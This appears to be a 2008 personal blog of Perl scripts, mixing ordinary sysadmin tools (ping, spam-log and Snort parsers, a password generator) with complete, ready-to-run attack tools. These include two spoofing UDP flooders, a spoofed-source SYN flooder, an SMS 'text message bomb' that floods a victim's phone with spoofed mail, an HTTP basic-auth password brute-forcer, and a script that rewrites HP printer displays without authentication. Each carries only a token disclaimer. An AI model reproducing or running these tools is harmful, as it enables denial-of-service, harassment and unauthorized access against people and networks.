Friday, May 2, 2008

ICMP Ping using Net::RawIP

This uses Net::RawIP to send an ICMP packet to the destination host and waits for a response. It operates exactly like 'ping', minus all of the other cool features. ;-)

#!/usr/bin/perl
use Socket;
use Sys::Hostname;
use Net::RawIP qw(:pcap);

$host = hostname();
$addr = inet_ntoa(scalar gethostbyname($host || 'localhost'));

$i = 0;
$dest = $ARGV[0];

$packet = new Net::RawIP ({
icmp => {}
});

$packet->set({
ip => {
saddr => $addr,
daddr => $dest,
},

icmp => {
type => 8,
id => $$
},
});

$device = "eth0";
$filt = "ip proto \\icmp and dst host $addr";
$pcap = $packet->pcapinit($device,$filt,'1500','30');

if(fork) {
loop $pcap,-1,\&sniff,\@packet;
} else {

for(;;){
$packet->set({
icmp => {
sequence => $i,
data => timem()
}
});

$packet->send(1,1);
$i++;
sleep 1;
}
}

sub sniff{
$time = timem();
$packet->bset(substr($_[2],14));

@ar = $packet->get({
ip => [qw(ttl)],
icmp => [qw(sequence data)]
});

printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%4.1fms\n",
length($ar[2])+8,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000);
}

Wednesday, April 30, 2008

Coke - spoofing UDP flooder.

Spoofs source IP's and hits a specified or random destination port. This is for stress testing network devices. Use with caution.

#!/usr/bin/perl
# Coke - A spoofing UDP flooder
# Use only for stress testing network devices.
# 4/30/2008 - nwo
#
use Net::RawIP;

($dest, $size, $count, $port) = split(/\s+/, "@ARGV");
$opt = @ARGV;

if($opt < 4) {
print "Usage: $0 (ip) (size) (amount) (port)\n";
print "If port is \'0\', random destination ports will be hit.\n";
exit(0);
}
if($size > 736) {
print "Packet size must be below 736 bytes.\n";
exit(0);
}

for(1..$size){
push @{$DATA},"A"
}

if($port eq "0") {
print "+----------------------------------+\n";
print "Destination: $dest\n";
print "Source: Random\n";
print "Port: Random\n";
print "Packet size: $size\n";
print "Amount: $count\n";
print "+----------------------------------+\n";
while($i <= $count) {
$saddr = join(".", map int rand 256, 1 .. 4);
$rsport = int rand(65535);
$rport = int rand(65535);
$packet = Net::RawIP->new({
ip => {
saddr => $saddr,
daddr => $dest,
},

udp => {
source => $rsport,
dest => $rport,
data => "@{$DATA}",
},
});
$packet->send;
$i++;
}
exit(0);
}

print "+----------------------------------+\n";
print "Destination: $dest\n";
print "Source: Random\n";
print "Port: $port\n";
print "Packet size: $size\n";
print "Amount: $count\n";
print "+----------------------------------+\n";

while($i <= $count) {
$saddr = join(".", map int rand 256, 1 .. 4);
$rsport = int rand(65535);

$packet = Net::RawIP->new({
ip => {
saddr => $saddr,
daddr => $dest,
},

udp => {
source => $rsport,
dest => $port,
data => "@{$DATA}",
},
});
$packet->send;
$i++;
}

Tuesday, April 29, 2008

RAFB paste download

I wrote this using 'lynx -source', but I probably should have used LWP.

Anyway, this grabs all of the code from rafb.net and stores each of the pastes into their own individual directories based on the code the pastes are written in. I use this primarily to have a big repository of code that I can reference when I want to see examples of a function, or something.


#!/usr/bin/perl
chdir("/var/www/htdocs/code");
%dirs = (
"Plain Text" => "plain",
"VB" => "vb",
"SQL" => "sql",
"Ruby" => "ruby",
"Python" => "python",
"PHP" => "php",
"Perl" => "perl",
"Java" => "java",
"C89" => "c89",
"C++" => "cpp",
"C\#" => "csharp",
"C" => "c",
);

open(URL, "lynx -source \"http://www.rafb.net/paste/results.html\"|") || die "$!";
while() {
if(/^.*?\;\"\>.*?\<\/td\>\(.*?)\<\/td.*?\/p\/(.*?)\.html\".*/) {
$lang{$2} = $1;
}
}

foreach $line (keys %lang) {
chomp($line);
print "language: $lang{$line} code source - $line\n";
if($dirs{$lang{$line}} ne "") {
print "This will go into the $dirs{$lang{$line}} directory.\n";
if(-e("$dirs{$lang{$line}}/$line.txt")) {
print "This already exists.\n";
next;
} else {
system("wget -P $dirs{$lang{$line}} \"http://www.rafb.net/p/$line.txt\"");
}
} else {
print "We don't want this code.\n";
}
}

Monday, April 28, 2008

Perl googlism


#!/usr/bin/perl
use LWP::UserAgent;

$word = $ARGV[0];

$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => "http://www.googlism.com/index.htm?ism=$word&type=1");
@data = split(/\n/, $ua->request($req)->as_string);
foreach $line (@data) {
if($line =~ /^.*?($word\s+is\s+.*?)\/i) {
push(@q,$1);
}
}

$s=@q;
print "Out of $s possibilities, we've chosen......\n";
print "$q[(int rand($s))]\n";

Sunday, April 27, 2008

Snort alert log parser

This opens /var/log/snort/alert and grabs all of the headers of the alert entries and stores them in a hash and displays how many of each alert there are
For example:

Attack: INFO web bug 0x0 gif attempt - HITS: 23


#!/usr/bin/perl -w

#[**] [1:2925:3] INFO web bug 0x0 gif attempt [**]

%h = ();
sub desc {
$h{$b} <=> $h{$a};
}

open(F, "/var/log/snort/alert") || die "$!";
while() {
if(/^.*?\]\s+(.*?)\s+\[.*/) {
$h{$1}++;
}
}

foreach $line (sort desc (keys (%h))) {
print "Attack: $line - Hits: $h{$line}\n";
}

Saturday, April 26, 2008

Random password generator


#!/usr/bin/perl
srand(time() ^ ($$ + $$ << 21));

if($ARGV[0] eq "") {
print "You must enter the number of passwords you want created.\n";
exit(0);
}
$howMany = $ARGV[0] - 1;

$siz = 7;
$siz = 3 if ($siz < 3);

$addConsonants = 1;
$firstUpper = 1;
$mixedCase = 0;
$symbolOdds = 7;
$across = 0;

$sym = "~`!@#$%^&*()-_+=,.<>";
$numb = "12345678901234567890" . $sym;
$lnumb = length($numb);
$upr = "BCDFGHJKLMNPQRSTVWXYZbcdfghjklmnpqrstvwxyz";
$cons = "bcdfghjklmnpqrstvwxyz";

if ($mixedCase) {
$vowel = "AEIOUaeiou";
$cons = $upr;
} else {
$vowel = "aeiou";
}
$upr = $cons unless ($firstUpper);
$lvowel = length($vowel);
$lcons = length($cons);
$lupr = length($upr);

$realSize = $siz;
$realSize += 2 if ($addConsonants);
($across) ? ($down = " ") : ($down = "\n");
$linelen = 0;

for ($j=0; $j<=$howMany; $j++) {
$pass = "";
$k = 0;
for ($i=0; $i<=$siz; $i++) {
if ($i==0 or $i==2 or $i==5 or $i==7) {
if ($i==0 or $i==5) {
$pass .= substr($upr,int(rand($lupr)),1);
} else {
$pass .= substr($cons,int(rand($lcons)),1);
}
if ($addConsonants and (int(rand(4)) == 3) and $k < 2) {
$pass .= substr($cons,int(rand($lcons)),1);
$k++;
}
}

if ($i > 7) {
if (int(rand(26)) <= 5) {
$pass .= substr($vowel,int(rand($lvowel)),1);
} else {
$pass .= substr($cons,int(rand($lcons)),1);
}
}

$pass .= substr($vowel,int(rand($lvowel)),1)
if ($i==1 or $i==6);

if ($i==3 or $i==4) {
if ($symbolOdds) {
$pass .= substr($numb,int(rand($lnumb)),1)
if (int(rand(10)) <= $symbolOdds);
} else {
$n = "";
until ($n =~ /[0-9]/) {
$n = substr($numb,int(rand($lnumb)),1);
}
$pass .= $n;
}
}
}

$skipThisOne = 0;
$skipThisOne = 1 if ($pass =~ /[~`!@#$%^&*()\-_+=,.<>]{2}/);
$skipThisOne = 1 unless ($pass =~ /[0-9]/);
$skipThisOne = 1 unless ($pass =~ /[a-z]/);
$skipThisOne = 1
if (!($pass =~ /[A-Z]/) and ($firstUpper or $mixedCase));
if ($skipThisOne) {
$j--;
next;
}
$pass = substr($pass,0,$realSize) if (length($pass) > $realSize);

if ($down ne "\n") {
if ($linelen + length($pass) + length($down) > 79) {
print "\n";
$linelen = 0;
}
$linelen += length($pass) + length($down);
}
print "$pass$down";

}
print "\n" if $down ne "\n";

IP Geolocation


#!/usr/bin/perl
# IP geolocation by nwo.
#
# the first database is frighteningly accurate when it locates an IP.
# it was off by approximately 2 blocks from my house when I looked up mine.
#
# 10/26/2007

use Socket;

sub resolv {
local($host) = @_;
$address = inet_ntoa(inet_aton($host));
return($address);
}

$ip = $ARGV[0];

if($ip =~ /\w+/) {
$host = $ip;
$ip = &resolv($ip);
}

open(F, "lynx -dump http://api.hostip.info/get_html.php?ip=$ip\|") || die "$!";
while() {

if(/^Country:\s+(.*)/) {
$country = $1;
next;
}

if(/^City:\s+(.*)/) {
$city = $1;
next;
}
}
print "\n\n";
print "+-- Detailed location attempt --+\n";
print "Information for: $ip ($host)\n";
print "Best guess: $city - $country\n";
print "\n\n";
close(F);

open(F, "lynx -dump http://netgeo.caida.org/perl/netgeo.cgi?target=$ip|") || die "$!";
while() {
if(/^.*?CITY:\s+(.*)/) {
$city = $1;
if($city eq "") { $city = "unknown"; }
next;
}
if(/^.*?STATE:\s+(.*)/) {
$state = $1;
if($state eq "") { $state = "unknown"; }
next;
}
if(/^.*?COUNTRY:\s+(.*)/) {
$country = $1;
if($country eq "") { $country = "unknown"; }
next;
}
if(/^.*?DOMAIN_GUESS:\s+(.*)/) {
$domain = $1;
if($domain eq "") { $domain = "unknown"; }
next;
}
}
print "+-- Guessed location. --+\n";
print "Location: $city, $state - $country\n";
print "Domain: $domain\n";
print "\n\n";

HP Jet Direct hack

Yanno on the larger HP laserjet printers, it has that small LCD screen which shows the status messages of the printer? It will normally say "READY" when everything is operating properly.

By running this script, you can change that message without having to authenticate or do anything special.

#!/usr/bin/perl
# this will change the ready message on most (all?) hp laserjets that
# use jetdirect software and have the little LCD display
# - nwo - 4/26/2008
use strict;
use warnings;
use IO::Socket::INET;

if($ARGV[0] eq "") {
print "usage: $0 (ip) (message)\n";
print "Example: $0 192.168.0.44 PWNED\n";
exit(0);
}

$ip = $ARGV[0];
$msg = $ARGV[1];

$socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => 9100) or die "$!";

print $socket "Ec%-12345X\@PJL JOB\n";
print $socket "@PJL RDYMSG DISPLAY=\"$msg\"\n";
print $socket "@PJL EOJ\n";
print $socket "Ec%-12345X\n";

close($socket);
print "$ip has been successfully changed to $msg\n";

RBL Check

This will check to see if a given IP address exists in the various (free) RBL's in service.

#!/usr/bin/perl
use Net::DNS;

%list = (
'sbl-xbl.spamhaus.org' => 'http://www.spamhaus.org',
'pbl.spamhaus.org' => 'http://www.spamhaus.org',
'bl.spamcop.net' => 'http://www.spamcop.net',
'dsn.rfc-ignorant.org' => 'http://www.rfc-ignorant.org',
'postmaster.rfc-ignorant.org' => 'http://www.rfc.ignorant.org',
'abuse.rfc-ignorant.org' => 'http://www.rfc.ignorant.org',
'whois.rfc-ignorant.org' => 'http://www.rfc.ignorant.org',
'ipwhois.rfc-ignorant.org' => 'http://www.rfc.ignorant.org',
'bogusmx.rfc-ignorant.org' => 'http://www.rfc.ignorant.org',
'dnsbl.sorbs.net' => 'http://www.sorbs.net',
'badconf.rhsbl.sorbs.net' => 'http://www.sorbs.net',
'nomail.rhsbl.sorbs.net' => 'http://www.sorbs.net',
'cbl.abuseat.org' => 'http://www.abuseat.org/support',
'relays.visi.com' => 'http://www.visi.com',
'list.dsbl.org' => 'http://www.dsbl.org',
'opm.blitzed.org' => 'http://www.blitzed.org',
'zen.spamhaus.org' => 'http://www.spamhaus.org',
'combined.njabl.org' => 'http://www.njabl.org/',
);

if($ARGV[0] eq "") { die "Need to supply an IP address to check."; }
$ip = join(".", reverse(split(/\./,$ARGV[0])));

foreach $line (keys %list) {

$host = "$ip.$line";
$res = Net::DNS::Resolver->new;
$query = $res->search("$host");

if($query) {
foreach $rr ($query->answer) {
next unless $rr->type eq "A";
}
print "$ARGV[0] is listed in $line.\n";
}
}

Spam counter (again)

This is similar to the previous one, but with cleaner and sorted output. It shows the most active spammer IP and email address.

Output looks like this:

# cat /var/log/maillog|./spam.pl
RELAY: 209.164.135.147 - HITS: 9
RELAY: 209.164.135.149 - HITS: 6
.....
EMAIL: success@soivotru.info - HITS: 20
EMAIL: specials@123greetings.biz - HITS: 2



#!/usr/bin/perl

#Sep 23 09:16:13 mail MailScanner[30884]: Message i8NEG1E5031187
#from 219.251.60.206 (xzxhyubzzdgwi@msn.com) to ourdomain.com is spam

while() {
if(/^.*?from\s+(.*?)\s+\((.*?)\)\s+.*?is\s+spam.*/) {
$orelay{$1}++;
$email{$2}++;
}
}

sub srelay {
$orelay{$b} <=> $orelay{$a};
}

sub semail {
$email{$b} <=> $email{$a};
}

foreach $line (sort srelay (keys(%orelay))) {
print "RELAY: $line - HITS: $orelay{$line}\n";
}

foreach $line (sort semail (keys(%email))) {
print "EMAIL: $line - HITS: $email{$line}\n";
}

Spammer IP counter

This parses /var/log/maillog and takes log entries made by MailScanner that indicate an email is spam and grabs the IP address and counts how many times a specific email has tried to deliver spam to our MTA. This is useful for blacklisting purposes.

The output looks like this:

# cat /var/log/maillog*|./parse.pl
1) IP: 12.130.136.153 Count: 7
2) IP: 209.164.135.146 Count: 18
3) IP: 64.73.138.121 Count: 6
4) IP: 193.109.255.100 Count: 3
5) IP: 64.235.47.203 Count: 6
6) IP: 64.235.47.200 Count: 7


So, 209.164.135.146 would be worth blacklisting.


#!/usr/bin/perl

while() {
# Jan 25 19:57:41 mail MailScanner[22590]: Message l0Q1p7vl022686 from
# 200.94.142.9 (mibhanoi@bih.net.ba) to ourdomain.com is spam,
# SORBS-DNSBL, CBL, SBL+XBL, SORBS-SPAM, RFC-IGNORANT-POSTMASTER,
# RFC-IGNORANT-ABUSE, RFC-IGNORANT-WHOIS

if(/^.*?from\s+(.*?)\s+.*?is\s+spam.*/) {
$h{$1}++;
}
}
close(D);
$i = 1;
foreach $line (keys %h) {
if($h{$line} > 2) {
print "$i) IP: $line Count: $h{$line}\n";
$i++;
}
}

Spam counter

Uses Spamassassin's determination of spam to show which email addresses have the most spam directed at them.

#!/usr/bin/perl
# cat /var/log/maillog*|./spamcount2.pl
#
# Will show which email addresses have the most spam directed at them
# based on spamassassin's decision of what is and what is not spam
#
# - nwo

while() {
if(/^.*?sendmail.*?:\s+(.*?):\s+to\=\<(.*?)\>,.*/) {
$spam{$1} = $2;
next;
}
if(/^.*?MailScanner.*?:\s+Message\s+(.*?)\s+.*?is\s+spam.*/) {
if($spam{$1}) {
$count{$spam{$1}}++;
}
}
}

foreach $line (sort(keys %count)) {
print "$line - $count{$line}\n";
}

Count emails

One thing I like to keep track of is if there's any email abuse going on. One way to determine this is if there's a specific email address that's being sent a high volume of email from our domain.

The output looks something like this:

Local User Remote Email Count
nwo nwo@someotherdomain.com 48
joe joeswife@gmail.com 37
bob bobsbrother@hotmail.com 92
..etc..


#!/usr/bin/perl
#
# Count the amount of emails sent from an address at @ourdomain.com
#
# - nwo - 3/25/2008

# Open the maillog
#open(F, "/var/log/maillog") || die "$!";
#while() {
while() {
if(/^.*?sendmail.*?:\s+(.*?):\s+from\=\<(.*?)\@ourdomain.com\>.*/i) {
# Create a hash of all of the from email addresses we find
$emails{$2}++;
# Create an array with the name of the email address and push
# the message ID into the array.. ie:
# @nwo = ('m2PK7tVC002488', 'etc', 'etc', 'etc');
push(@$2, $1);
}
if(/^.*?sendmail.*?:\s+(.*?):\s+to\=\<(.*?)\>\,.*/) {
# Create a hash with the name of the message ID and the person that
# message was sent to, ie:
# %h=('m2PK7tVC002488' => 'nwo@someotherdomain.com');
$mid{$1} = $2;
}
}

# Cycle through the keys of the %emails hash which gives us the names of all
# of the arrays we created because we don't know what they are yet.
foreach $name (keys %emails) {
# Now cycle through the array and pick out each message ID
foreach $id (@$name) {
# Create a new hash which has the name of $name and $mid{$id} separated
# by a '|' so we can split it later.
# %maild{'nwo|nwo@someotherdomain.com' => '2'} (2 being the amount of times a
# specific email address is found - this increments each cycle when that
# email already exists as a key in the %maild hash)
$maild{"$name|$mid{$id}"}++;
}
}
# OK - now, cycle and sort each of the keys in %maild
foreach $line (sort keys %maild) {
# Assign the amount of hits for each key to $value
$value = $maild{$line};
# Grab the $sender and $receiver from the key, which we're able to do
# because that handy '|' delimeter we used when we created the key.
($sender, $receiver) = split(/\|/,$line);
# Now print it!
print "$sender - $receiver - $value\n";
}

SYN flooder

This is a pretty simple SYN flooder - spoofs source IP's and ports, super effective. I wrote this for stress testing services on my network.

#!/usr/bin/perl -w
####
# this is a proof of concept syn flooder written in Perl.
# it's pretty straight forward. sends packets with the syn flag
# enabled, causing half open connections sent from random spoofed IP's.
#
# one addition is the ability to specify a list of ports, rather than just
# targeting a single port.
#
# don't use this for any malicious purposes.. it's strictly for stress
# testing routers/networks.
#
# - nwo 10/17/2007
####

require 'getopts.pl';

### need to utilize raw sockets.
use Net::RawIP;
Getopts('t:p:n:');


### function to create random IP's.
sub randip () {
$ip = join(".", map int rand 256, 1 .. 4);
return("$ip");
}


### set up the socket.
$syn = new Net::RawIP;

die "Usage: $0 -t (target) -p (port) -n (number of packets)\n"
unless ($opt_t && $opt_p && $opt_n);
### allow the user to specify a list of comma seperated ports via the command line.
@ports = split(/\,/, $opt_p);
$list = @ports;

### super awesome output.
print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";

### start the loop
for($i = 1;$i < $opt_n;$i++) {
### randomly select a port out of the @ports array
$nlist = int rand($list);
$dport = $ports[$nlist];

### set up the packet..
$syn->set({
ip => {
daddr => $opt_t,
saddr => &randip,
},

### specify the destination port and source port..
### make sure the syn flag is enabled.
tcp => {
dest => $dport,
source => $dport,
ack => 0,
urg => 0,
rst => 0,
fin => 0,
psh => 0,
syn => 1
}
});
### send the packet! yay!
$syn->send;
}

Duplicate record remover

I figured I would post this because it's heavily commented. I have a program which monitors /var/log/messages for brute force attempts against sshd and when it sees them, it uses iptables to firewall them and also creates an entry into a blacklist file which is then loaded when my firewall script reloads. Periodically there will be duplicate records in the black list file, so this removes them.

#!/usr/bin/perl
###
# This removes duplicate records from the 'banned-ips' file associated
# with the firewall. The 'banned-ips' file is generated by
# the auto-blacklisting features of the firewall
#
# created by nwo
# 11/1/2007
###

### Needed because I didn't want to use system calls.
use File::Copy;

### Set up the iphash
%iphash = ();

### Define this as something else if you're not using the name 'banned-ips'
$iplist = "banned-ips";

### Get the size of the file for sanity checks later.
$iplist_size = (stat $iplist)[7];

### Random character generator. This is to avoid race conditions in /tmp
@chars = ("A" .. "Z", "a" .. "z", 0 .. 9);
$randfile = join ("", @chars[map{rand @chars} (1 .. 8)]);

### Lets make a backup to work with, rather than modifying the original before
### we know that everything's clean.
copy($iplist, "/tmp/$randfile") or die "File cannot be copied: $!";
### Make sure the file wasn't nuked, or something, after being copied.
if(-e("/tmp/$randfile")) {
### Get the file size to compare with the original. This helps eliminate
### race conditions completely. Only exception would be if someone were to
### create a smaller file then the original and then pad it with garbage
### to make the size match. But this, in combination with the random
### characters would make it very difficult.
$tmplist_size = (stat "/tmp/$randfile")[7];
if($iplist_size != $tmplist_size) {
print "File size mismatch between $iplist and /tmp/$randfile.\n";
print "This could be an accident, or a race condition exploit attempt.\n";
print "Review the /tmp/$randfile file for inconsistancies.\n";
exit(1);
}
}

### Ok, now that we know everything is cool, lets open up the backed
### up copy of the file.
open(F, "/tmp/$randfile") || die "$!";

### Lets also make sure the file contains IP's. I'm sure there's a much fancier way ### of doing this.. but....
while() {
if(/^(\d+\.\d+\.\d+\.\d+)/) {
$iphash{$1}++;
}
}
### We can now delete the original.. we have two copies. One in /tmp, and one in
### memory (iphash).
unlink($iplist);

### Open the file handle IPS for writting
open(IPS, ">>$iplist") || die "$!";

### Go ahead and print each entry in iphash to the file.
foreach $line (keys %iphash) {
print IPS "$line\n";
}

### Close our file handles...
close(F);
close(IPS);

### Lets open the newly created ip list and make sure it looks ok.
open(IPS, "$iplist") || die "$!";
while() {
print "$_";
}
close(IPS);


### Well, does it?!?
print "Does this look right? (N/y): ";
chomp($ans = );
$ans = uc($ans);

### Assume it's not if no answer is given.
if($ans eq "") { $ans = "N"; }
### Restore the backed up version from /tmp
if($ans eq "N") {
unlink($iplist);
copy("/tmp/$randfile", $iplist);
print "/tmp/$randfile was restored to $iplist\n";
exit(1);
}

### Everything looks ok..
if($ans eq "Y") {
print "Ok. Deleting the original in /tmp\n";
unlink("/tmp/$randfile");
exit(0);
} else {
### In case the user puts in something other than "N" or "Y"
print "No idea what you typed. Restoring original.\n";
unlink($iplist);
copy("/tmp/$randfile", $iplist);
print "/tmp/$randfile was restored to $iplist\n";
exit(1);
}

Random IP generator

Here are two ways using 'join' to create random IP's:

#!/usr/bin/perl

# random IP using join:
# First method:
$oct1 = int rand(254);
$oct2 = int rand(254);
$oct3 = int rand(254);
$oct4 = int rand(254);
$ip = join('.', $oct1, $oct2, $oct3, $oct4);
print "random ip: $ip\n";

# Second method:
$ip = join(".", map int rand 256, 1 .. 4);
print "random ip: $ip\n";

Friday, April 25, 2008

text message bomb

This was a proof of concept proving that you could deliver emails directly to an MTA to send spoofed text messages to cell phones. Most phones don't differentiate between SMS texts and emails, so.

#!/usr/bin/perl
###
# This is a text message bomb. Simply enter the phone number you wish to destroy
# and the provider the phone number belongs to (www.fonefinder.net works) and
# enter the amount of text messages you wish to send.
#
# It makes a single connection to the MTA that delivers the message, which helps
# to avoid detection.
#
# You'll notice I didn't use any non-standard modules for the socket and
# the SMTP interaction. I wanted to make it as portable as possible.
#
# TODO:
# Add the ability to hide behind TOR proxies
# - Did some research. Tor blocks port 25. Oh well.
# Create a "data" buffer which contains random data from /dev/urandom.
# - Used this in a beta version of the code. Not very cool
# Add ability to specify a message
# + Added
# Add random messages to send
#
#
# This is a proof of concept created by nwo.
#
# It is probably very illegal to use this, so don't. I am not liable for any
# carnage it creates.
# 12/18/2007 - nwo
###
use Socket;

### These are the email domains to which text messages can be sent.
### Example - 1234567890@vtext.com
# cingularme.com
# messaging.sprintpcs.com
# vtext.com
# messaging.nextel.com
# tmomail.net
# mmode.com
# vmobl.com
### The list of providers that are supported along with the email domain
### and an active MX record for the domain.
%providers = (
'cingular' => 'cingularme.com,66.102.165.114',
'sprint' => 'messaging.sprintpcs.com,68.28.3.22',
'verizon' => 'vtext.com,66.174.76.30',
'nextel' => 'messaging.nextel.com,170.206.225.64',
't-mobile' => 'tmomail.net,66.94.9.228',
'att' => 'mmode.com,199.88.234.33',
'vmobile' => 'vmobl.com,205.239.227.29'
);

### Provide the script with the phone number and provider of the victim
if($ARGV[2] eq "") {
print "Usage: ./txtbomb.pl \n";
print "Provider list:\n";
$i=1;
foreach $line (keys %providers) {
print "$i) $line\n";
$i++;
}
exit(1);
}

$phone = $ARGV[0];
$provider = $ARGV[1];
$num = $ARGV[2];

print "What message do you want to send?: ";
chomp($msg = );

if($msg =~ /random/i) {
$msg = &random();
}
### Random users.
@user = ('amy', 'joe', 'bob', 'carol', 'kathy', 'sharon', 'lindsey', 'jordan',
'billy', 'osama', 'duane', 'chris', 'sam', 'webmaster', 'linda', 'john',
'michelle', 'jeff', 'paco', 'hugh', 'tacos', 'gurd', 'deb', 'nancy');
$nuser = @user;

### Random domains.
@domains = ('microsoft.com', 'google.com', 'yahoo.com', 'hotmail.com', 'craigslist.com',
'bob.com', 'blogspot.com', 'money.com', 'infowars.com', 'youtube.com', 'godaddy.com');
$ndomains = @domains;

### Create a random "FROM" email address.
sub random() {
$randomfrom = "$user[(int rand($nuser))]\@$domains[(int rand($ndomains))]";
return($randomfrom);
}

### If the provider doesn't match one from the list, error and quit.
if($providers{$provider} eq "") {
print "Invalid provider. Try again.\n";
exit(1);
}

($email,$mx) = split(/\,/,$providers{$provider});
print "Sending to $phone on $provider ($mx) - $phone\@$email...\n";
### Create a socket and connect it.
($addr) = (gethostbyname $mx)[4];
$con = pack('S n a4 x8', 2, 25, $addr);
if (socket(S, 2, 1, 6)) { print "socket creation ok...\n"; } else { die $!; }
if (connect(S,$con)) { print "socket connected...\n"; } else { die $!; }
select(S); $| = 1; select(STDOUT);

### Be polite and say HELO to the nice mail server.
$a = S; if($a =~ /^220/) { print S "HELO $domains[(int rand($ndomains))]\n"; }
$i = 1;
### Send the message to the socket.
while($i <= $num) {
$from = &random;
$a = S; if($a =~ /^250/) { print S "MAIL FROM:<$from>\n"; }
$a = S; if($a =~ /^250/) { print S "RCPT TO:<$phone\@$email>\n"; }
$a = S; if($a =~ /^550/) {
### Apparently the user isn't valid on this MTA.
print "Received invalid user. Check the number and provider and try again.\n";
close(S);
exit(1);
} else {
### Open the flood gates.
if($i eq "1") {
print "Received Valid user. It's peanut buttah jellay time!\n";
}
print S "DATA\n";
print S "FROM:<$from>\n";
print "$i) Sending from: $from\n";
print S "TO:<$phone\@$email>\n";
print S "$msg\n";
print S ".\n";
sleep 2;
$i++;
}
}
close(S);
exit(0);

Profanity filter

This will catch most of the usual ways people swear.. ie: sh!t, f*ck, etc etc.

#!/usr/bin/perl

opendir(DIR, ".") || die "$!";
@files = readdir(DIR);
close(DIR);

foreach $line (@files) {
open(F, $line) || die "$!";
while() {
if(/\b(s[h\!\|\@\-\*][i\!\|\@\-\*][t\!\|\@\-\*]){1,3}(\s+|$)/i ||
/\b(f[u\!\|\@\-\*][c\!\|\@\-\*][k\!\|\@\-\*]){1,3}(\s+|$)/i ||
/\b(a[s\!\|\@\-\*\$][s\!\|\@\-\*\$]){1,2}(\s+|$)/i ||
/\b(w[h\!\|\@\-\*][o\!\|\@\-\*0][r\!\|\@\-\*][e\!\|\@\-\*]){1,4}(\s+|$)/i ||
/\b(b[i\!\|\@\-\*][t\!\|\@\-\*07][c\!\|\@\-\*][h\!\|\@\-\*]){1,4}(\s+|$)/i ||
/\b(s[l\!\|\@\-\*\$][u\!\|\@\-\*\$][t\!\|\@\-\*7]){1,3}(\s+|$)/i ||
/\b(c[u\!\|\@\-\*\$][n\!\|\@\-\*\$][t\!\|\@\-\*7]){1,3}(\s+|$)/i) {

print ">> $1 found in $line - $_\n";

}

}

}

Ping in Perl


#!/usr/bin/perl

use Net::Ping;
use Time::HiRes;
$host = $ARGV[0];

if($host eq "") {
print "usage: ping.pl (host|ip)\n";
exit(0);
}

while(1) {
$p = Net::Ping->new();
$p->hires();
($ret, $duration, $ip) = $p->ping($host, 5.5);

printf("$host [ip: $ip] is alive (packet return time: %.2f ms)\n", 1000 * $duration) if $ret;
$p->close();
sleep 1;
}

UDP flooder

I wrote this because every other one that I found was written incorrectly. This one actually works (and sometimes too well).

#!/usr/bin/perl

# This is a proof of concept UDP flooder. By you executing
# this program, you accept complete liability for any damages
# caused by it.
# made by nwo - 12/11/05

use Socket;

$ARGC = @ARGV;

# hit random, non sequential ports
sub rports {
print "Hitting: $ip\n";
print "Packetsize: $size\n\n";
for(;;) {
$port = int(rand 65535) + 1;
send(pkt, "@{$DATA}", 0, sockaddr_in($port, $dest));
}
}


if($ARGC != 3) {
print "$0 (ip) (port) (size)\n";
print "If \"port\" is set to \"0\", will send to random ports.\n";
exit(0);
}


$ip=$ARGV[0];
$port=$ARGV[1];
$size=$ARGV[2];

# there's a 4 byte pad added to every 1 byte of data, and 1432 is
# the maximum packet size before fragmentation occurs and fragmented
# UDP packets arent going to have much effect, but we'll leave it up
# to the users descretion.
# - nwo
if($size > "710") {
print "This packet is over 1432 bytes and will be fragmented.\n";
}

# this is the "trick", as every other idiot out there has attempted to
# define the packet size by simply using $size = $ARGV[whatever], which
# is incorrect as UDP is intended to be a data transport, thus the packet
# data must contain legitimate data or the packet size will be the actual
# scalar value of whatever the size is specified as. So here, we fill the
# @DATA array with the letter "A" for each byte specified, then make a
# reference pointer to it.
# - nwo
for(1..$size){
push @{$DATA},"A"
}

# this is another "trick", as I've seen more than one instance where the
# socket creation is created within the while() loop, thus slowing down
# the packets per second, as well as hogging CPU and chewing up file descriptors.
# you kids need to read before trying to create something you don't understand.
# - nwo
socket(pkt, PF_INET, SOCK_DGRAM, getprotobyname("udp")) || die "setsockopt: $!";
$dest = inet_aton($ip);


print "UDPP - nwo\n";

if($port == 0) { &rports; }

# Hit specified port rather than random. Not as effective, but in a scenario
# where the attacker is behind a firewall, it's the only way to bypass it.
# Unfortunately, because this does not use raw sockets (by design), there is
# no way to specify the local port number. This somewhat hinders things, as
# if the firewall on the receiving end is set to only allow packets from
# src_ip:53, for example, the firewall will drop any packet being sent NOT
# coming from source port 53.
# - nwo
if($port ne "0") {
print "Hitting: $ip\n";
print "Packetsize: $size\n";
for(;;) {
send(pkt, "@{$DATA}", 0, sockaddr_in($port, $dest));
}
}

.htaccess authentication brute force tool

I wrote this to pen test home routers (linksys, dlink, netgear, et al) - also works for any website where .htaccess is the authentication method. Please don't abuse these tools, they're created for research/security purposes.

#!/usr/bin/perl
###
#
# brute password crackalacker. useful for anything that uses .htaccess
# or other basic authentication methods.
#
# don't use it for anything stupid. it's for pentesting.
# - nwo
#
# 11/2/2007
#
###

use LWP::UserAgent;

sub usage() {
$progname = $0;
print "+--- created by nwo ---+\n";
print "$progname (ip) (user) (dictionary file)\n";
print "\n";
exit(0);
}

sub auth() {
local($pw) = @_;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => "http://$ip/");
$req->authorization_basic($user, $pw);
@data = $ua->request($req)->as_string;
foreach $line (@data) {
if($line =~ /401/) {
return "0";
} else {
return "1";
}
}
}
$ip = $ARGV[0];
$user = $ARGV[1];
$dict = $ARGV[2];
if($dict eq "") {
$dict = "D8.DIC";
}
if($user eq "") { &usage; }

open(D, "$dict") || die "$!";
while() {
chomp($line = $_);
print "Trying $line....";
if((&auth($line)) eq "0") {
print "failed. Next..\n";
next;
}
if((&auth($line)) eq "1") {
print "success! Password is $line\n";
exit(0);
}
}

Class C DNS resolving tool

This could be written better, but it was one of those things where I needed it that 1 time so I wrote it on a whim. Feel free to let me know what you would change.. I'd be interested in hearing it.



#!/usr/bin/perl
####
# this is an IP block resolving utility.
#
# only does a class C space at a time, but that's all I needed when I wrote it. SO.
#
# the output is suitable for a simple copy/paste into /etc/hosts.
#
# - 10/17/2007 - nwo


use Socket;

if(@ARGV[0] eq "") {
print "Enter a starting address and an ending octet within that block.\n";
print "For example: ./dnswalk.pl 10.0.0.1 255\n";
print "If the ending octet is left off, 255 will be assumed.\n";
